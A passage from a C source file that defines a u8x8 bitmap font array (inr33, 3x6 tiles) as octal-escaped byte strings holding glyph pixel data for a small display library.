3\n*/\nconst uint8_t u8x8_font_inr33_3x6_r[13684] U8X8_FONT_SECTION(\"u8x8_font_inr33_3x6_r\") = \n  \" ~\\3\\6\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\360\"\n  \"\\360\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\7\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\17\\17\\17\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\36\\77\\77\\77\"\n  \"\\77\\36\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\360\\340\\0\\0\\0\\0\\0\\340\\360\\360\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\0\"\n  \"\\0\\0\\0\\0\\300\\300\\300@\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\200\\377\\377\\377\\201\\200\\200\\200\\200\\300\\377\\377\\377\\200\"\n  \"\\200\\200\\200\\0\\0\\1\\1\\1\\1\\1\\377\\377\\377\\1\\1\\1\\1\\1\\301\\377\\377\\177\\1\\1\\1\\1\\1\\0\\14\\14\\14\\14\"\n  \"\\14\\374\\377\\377\\17\\14\\14\\14\\14\\214\\377\\377\\177\\14\\14\\14\\14\\14\\0\\0\\0\\0\\0\\0\\34\\37\\37\\3\\0\\0\\0\\0\"\n  \"\\0\\37\\37\\37\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\360\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\370\"\n  \"\\374\\376\\17\\7\\7\\7\\377\\377\\377\\7\\7\\7\\17\\36>\\34\\10\\0\\0\\0\\0\\0\\1\\7\\17\\37\\36<<x\\377\\377\"\n  \"\\377\\340\\340\\340\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\200\\300\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\1\\1\\207\\377\\377\"\n  \"\\376\\70\\0\\0\\0\\3\\3\\7\\17\\17\\16\\34\\34\\34\\377\\377\\377\\34\\34\\16\\17\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\300\\300\\300\\200\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\300\\300@\\0\\0~\\377\\377\\303\\201\\201\\201\\303\\377\\377\\377<\\0\\200\\340\\370\\374\\77\\17\\3\"\n  \"\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\3\\3\\1\\301\\360\\370~\\37\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\200\\300\\360\\374\\77\\17\\3\\1\\340\\370\\374\\36\\16\\16\\16>\\374\\370\\340\\0\\0 \\70>\\37\\7\\3\\0\\0\\0\\0\\0\"\n  \"\\3\\17\\37<\\70\\70\\70<\\37\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\300\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0|\"\n  \"\\377\\377\\377\\3\\3\\1\\1\\3\\207\\377\\377\\376x\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\301\\347\\357\\177|\\370\\374\\336\"\n  \"\\217\\7\\3\\1\\0\\0\\0\\200\\0\\0\\0\\0\\370\\376\\377\\377\\7\\1\\0\\0\\0\\0\\3\\7\\37\\77\\374\\370\\360\\360\\370\\177\"\n  \"\\37\\16\\2\\0\\1\\7\\17\\37\\36<<\\70\\70\\70<\\34\\36\\17\\17\\7\\3\\7\\37\\77\\36\\30\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\"\n  \"\\360\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\340\\340\\360p\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\300\\360\\370\\376\\77\\37\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\377\\377\\377\\7\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\377\\377\\377\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\77\\177\\376\\370\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\37\\36<x\\70\\20\\0\\0\\0\\0\\0`\\360\\340\\340\\300\\200\\200\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\7\\17\\77\\376\\374\\360\\340\\200\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\37\\377\\377\\374\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\300\\377\\377\\377\\37\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\370\\376\"\n  \"\\177\\37\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\70x<\\36\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\30\\370\\370\\370\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\16\\17\\16\\36\\34\\34\\70\\270\\360\\377\\377\"\n  \"\\367\\270\\70\\30\\34\\34\\16\\16\\17\\10\\0\\0\\0\\0\\0`p\\370~\\37\\17\\3\\1\\0\\3\\7\\37>\\374x`\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\370\\370\\370\\370\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0ppppppppp\\377\\377\\377\\377pppppppp\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\"\n  \"\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0<~\\376\\376\\374p\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0 x<\\37\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\36\\77\\77\\77\\77\\36\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\300\\360\\360\\340 \\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\370\\376\\177\\17\\3\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\376\\177\\37\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\300\\360\\374\\377\\77\\17\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0`\\370\\376\\77\\17\\3\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\370\"\n  \"\\374\\376\\37\\17\\7\\3\\1\\1\\1\\3\\3\\207\\377\\376\\374\\360\\300\\0\\0\\0\\0\\376\\377\\377\\377\\0\\0\\0\\0\\300\\340\\360\"\n  \"x\\36\\17\\7\\1\\1\\377\\377\\377\\374\\0\\0\\0\\7\\177\\377\\377\\370\\374\\36\\17\\7\\1\\0\\0\\0\\0\\0\\200\\360\\377\\377\"\n  \"\\77\\3\\0\\0\\0\\0\\0\\1\\3\\7\\17\\37\\36<\\70\\70\\70<\\34\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\"\n  \"\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\14\\16\\16\\17\\7\\7\\7\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\77\"\n  \"\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\300\\300\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\16\"\n  \"\\37\\17\\7\\3\\3\\1\\1\\1\\1\\3\\3\\7\\37\\377\\376\\374\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\200\\300\\340\\360\\374\\77\\37\\17\\1\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370<\\36\\17\\7\\3\\1\\1\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\70>\\77\\77;\\71\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70<\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\300\"\n  \"\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\2\\7\\7\\3\\3\\1\\1\\1\\1\\1\\3\\7\\17\\377\\376\\374p\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\70\\70\\70\\70x||\\376\\357\\347\\307\\201\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\201\\377\\377\\377\\376\\0\\0\\0\\0\\0\\0\\4\\17\\37\\36\\34<\\70\\70\\70\\70\"\n  \"<<\\36\\37\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\200\\300\\360\\370>\\17\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\360|>\\17\\7\\1\\0\"\n  \"\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\34\\37\\37\\37\\35\\34\\34\\34\\34\\34\\34\\34\\34\\377\\377\\377\\377\\34\\34\"\n  \"\\34\\34\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\"\n  \"\\300\\300\\300\\300\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\77\\177\\77\\77\\34\\16\\16\\16\\16\\16\\36\\36<\\374\\370\\360\\340\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\377\\377\\377\\177\\0\\0\\0\\0\\0\\3\\7\\17\\36\\36\\34<\\70\\70\\70\"\n  \"<<\\34\\36\\17\\17\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\"\n  \"\\370\\374~\\37\\7\\3\\3\\1\\1\\1\\1\\3\\3\\7\\3\\3\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377p\\70\\34\\36\\16\\16\"\n  \"\\16\\16\\36>|\\370\\360\\340\\200\\0\\0\\0\\0\\0\\37\\377\\377\\377\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\377\\377\\377\"\n  \"\\177\\0\\0\\0\\0\\0\\0\\0\\3\\7\\17\\37\\36<\\70\\70\\70<<\\36\\37\\17\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\"\n  \"\\300\\300\\300\\300\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\301\\361\\377\\377\\77\\7\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\370\\376\\377\\77\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\300\\370\\376\\377\\77\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\60>\\77\\77\\17\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\"\n  \"\\374\\376\\377\\17\\3\\3\\1\\1\\1\\1\\3\\3\\17\\377\\377\\374x\\0\\0\\0\\0\\0\\0\\0\\3\\207\\317\\377\\376|\\70\\70\"\n  \"px\\374\\376\\317\\317\\207\\1\\0\\0\\0\\0\\0\\0\\370\\376\\377\\377\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\1\\207\\377\\377\"\n  \"\\376\\370\\0\\0\\0\\0\\0\\3\\7\\17\\37\\36<<\\70\\70\\70\\70<\\34\\36\\37\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\"\n  \"\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\374\\376\\377\\17\\7\\3\\3\\1\\1\\1\\3\\3\\17\\37\\376\\374\\360\"\n  \"\\200\\0\\0\\0\\0\\0\\17\\77\\177\\377\\360\\340\\300\\300\\200\\200\\200\\300\\300\\340p\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\1\\1\\3\\3\\3\\3\\3\\3\\1\\0\\340\\377\\377\\177\\17\\0\\0\\0\\0\\0\\0\\14\\36\\36\\34<\\70\\70\\70\\70\"\n  \"<\\34\\36\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\36\\77\\77\\77\"\n  \"\\77\\36\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\36\\77\\77\\77\\77\\36\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\36\\77\\77\\77\\77\\36\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\34>>\\376\"\n  \"\\376\\374x\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\60\\70\\36\\17\\7\\1\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\200\\200\\300\\300\\340\\340\\360px<<\\36\\36\\0\\0p\\360\\370\\374\\334\\236\\216\\17\\7\\7\\3\\3\"\n  \"\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\7\\7\\17\\16\\36<\\70xp\\360\\340\\340\\300\\200\"\n  \"\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\17\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\"\n  \"\\200\\200\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\0\\0\\0\\34\\34\\34\"\n  \"\\34\\34\\34\\34\\34\\34\\34\\34\\34\\34\\34\\34\\34\\34\\34\\34\\34\\34\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0<\\70xp\"\n  \"\\360\\340\\340\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\7\"\n  \"\\16\\16\\34<\\270\\370\\360\\360\\340\\340\\0\\0\\0\\0\\200\\200\\300\\300\\340\\360\\360x\\70<\\34\\36\\17\\7\\7\\3\\3\\1\"\n  \"\\0\\0\\0\\0\\17\\17\\7\\7\\3\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\340\\340\\360\\360pp\"\n  \"p\\360\\360\\340\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\3\\7\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\1\\203\\377\\377\\377\"\n  \"x\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\370\\374>\\37\\17\\7\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\17\\17\\17\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\36\\77\\77\"\n  \"\\77\\77\\36\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\300\\360\\374\"\n  \">\\37\\17\\7\\3\\3\\201\\201\\201\\301\\301\\303\\303\\307\\317\\376\\374\\370\\300\\0\\376\\377\\377\\1\\0\\0\\0\\370\\376\\377\\377\\17\"\n  \"\\3\\3\\1\\1\\1\\1\\201\\377\\377\\377\\377\\0\\7\\77\\377\\374\\340\\200\\0\\1\\3\\7\\17\\37\\36\\34\\34\\34\\16\\16\\7\\37\"\n  